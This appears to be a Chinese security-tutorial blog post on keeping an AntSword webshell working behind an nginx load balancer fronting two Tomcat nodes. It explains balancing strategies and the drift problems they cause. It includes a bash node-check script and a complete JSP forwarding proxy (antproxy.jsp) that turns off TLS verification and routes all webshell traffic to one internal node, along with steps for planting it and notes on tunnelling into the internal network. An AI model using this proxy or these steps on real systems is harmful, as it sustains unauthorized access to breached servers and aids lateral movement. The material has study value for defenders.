您现在的位置是:首页 >学无止境 >安全中级3-nginx反向代理负载均衡的webshell网站首页学无止境
安全中级3-nginx反向代理负载均衡的webshell
目录
二、负载均衡下的webshell连接(负载均衡下的wenbshell环境下载地址)
2.我们执行命令的时候,不知道我们下次的请求会交给我们的哪台机器。(记得下载ifconfig命令包)
3.我们上传一些大一点的文件的时候,由于我们的机器飘忽不定就会导致我们的文件在一个机器上上传了一半,另一半就飘到另外一台机器了 。
1.先创建一个antproxy.jsp的脚本,并且修改转发地址
3.修改shell配置,url部分填写为antproxy.jsp,其他不变
一、负载均衡
1.nginx的负载均衡
反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。
2.nginx 支持的几种策略:
名称 | 策略 |
轮询(默认) | 按请求顺序逐一分配 |
weight | 根据权重分配 |
ip_hash | 根据客户端IP分配 |
least_conn | 根据连接数分配 |
fair(第三方) | 根据响应时间分配 |
url_hash(第三方) | 根据url分配 |
其中 ip_hash、url_hash 这种能固定访问到某个节点的情况,我们重点研究轮询。
二、负载均衡下的webshell连接(负载均衡下的wenbshell环境下载地址)
1.内部网络的结构
我们的nginx作为代理服务器,后面连接着我们的两个服务器node1和node2均是tomcat8作为负载均衡的服务器,而且他们都开放了8080端口只在内网中,我们在外部是连接不上的。
2.场景描述
我们假设在真实的业务系统上,存在一个RCE的漏洞,并且我们已经上传了我们的脚本,可以让我们获取webshell
3.利用我们的中国蚁剑连接我们的代理服务器nginx
三、webshell遇到的难点(重点)
1.我们需要在每台机器上都要上传相同的weshell
我们通过修改我们的一个tomcat服务器的ant.jsp文件为ant.txt时,发现连接的时候一会是正常的一会就会报错。
2.我们执行命令的时候,不知道我们下次的请求会交给我们的哪台机器。(记得下载ifconfig命令包)
我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。
3.我们上传一些大一点的文件的时候,由于我们的机器飘忽不定就会导致我们的文件在一个机器上上传了一半,另一半就飘到另外一台机器了 。
4.由于我们的tomcat服务器是在内网的,不出网,我们想要获取到该服务器更多内容,我们就需要打通主机到内网的通道,我们一般用regeorg/httpabs等http 隧道工具,但是这个场景我们无法将我们的工具上传到我们的服务器上,就会导致我们无法连接到内网
四、解决方法
1.直接关闭一台tomcat机器(小伙子你活腻歪了)
我们确实可以关闭其中一台机器,保留一台机器,这样我们是可以干其他的操作,但是在我们的实际环境中,关闭公司的一台服务器就会导致经济的损失,所以不建议使用。
2.执行前判断是否是自己需要执行的机器
如果我们想要去准确的在某个机器上执行,我们通过写一个小的脚本,从而展示在我们面前到底是不是我们需要的机器,之后上传我们的文件。这样确保了我们想要执行命令的机器,但是依旧无法解决我们上传大文件,搭建http的隧道。
MYIP='ifconfig | grep "inet 172" | awk '{print $2}''
if [ $MYIP == "172.23.0.2" ]; then
echo "node1,l will execute command. ======= "
else
echo "node2.try again."
fi
3.在web层做一次HTTP流量的转发(重点推荐)
(1)原理
在我们服务器内网中,不仅nginx可以访问这两台服务器node1和node2,他们自己之间也可以互相的访问,我们进行一个流量的转发,无论服务器流量怎么漂移,它最终目的只会转发在一台机器上,就不会造成我们的大文件上传一半就漂移到其他机器去了。
(2)转发过程
我们的最终目的是:所有的数据包都能发给Node 1这台机器。
首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx,nginx 接到数据包之后,会有两种情况:
我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
再来看红色线,第 2 步nginx把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。
最后我们所有的流量都转向了我们的node1这台机器。
五、webshell具体操作办法
1.先创建一个antproxy.jsp的脚本,并且修改转发地址
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.24.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
2.将文件制作完成多保存几次,千万不要上传
3.修改shell配置,url部分填写为antproxy.jsp,其他不变
4.测试执行命令,查看IP
六、webshell总结
我们在做流量转发的时候,切记在中国蚁剑上新建文件,不要上传文件,一定要疯狂疯狂疯狂在疯狂的点击保存,点击二三十次就可以,一定记得不要上传,直接蚁剑新建保存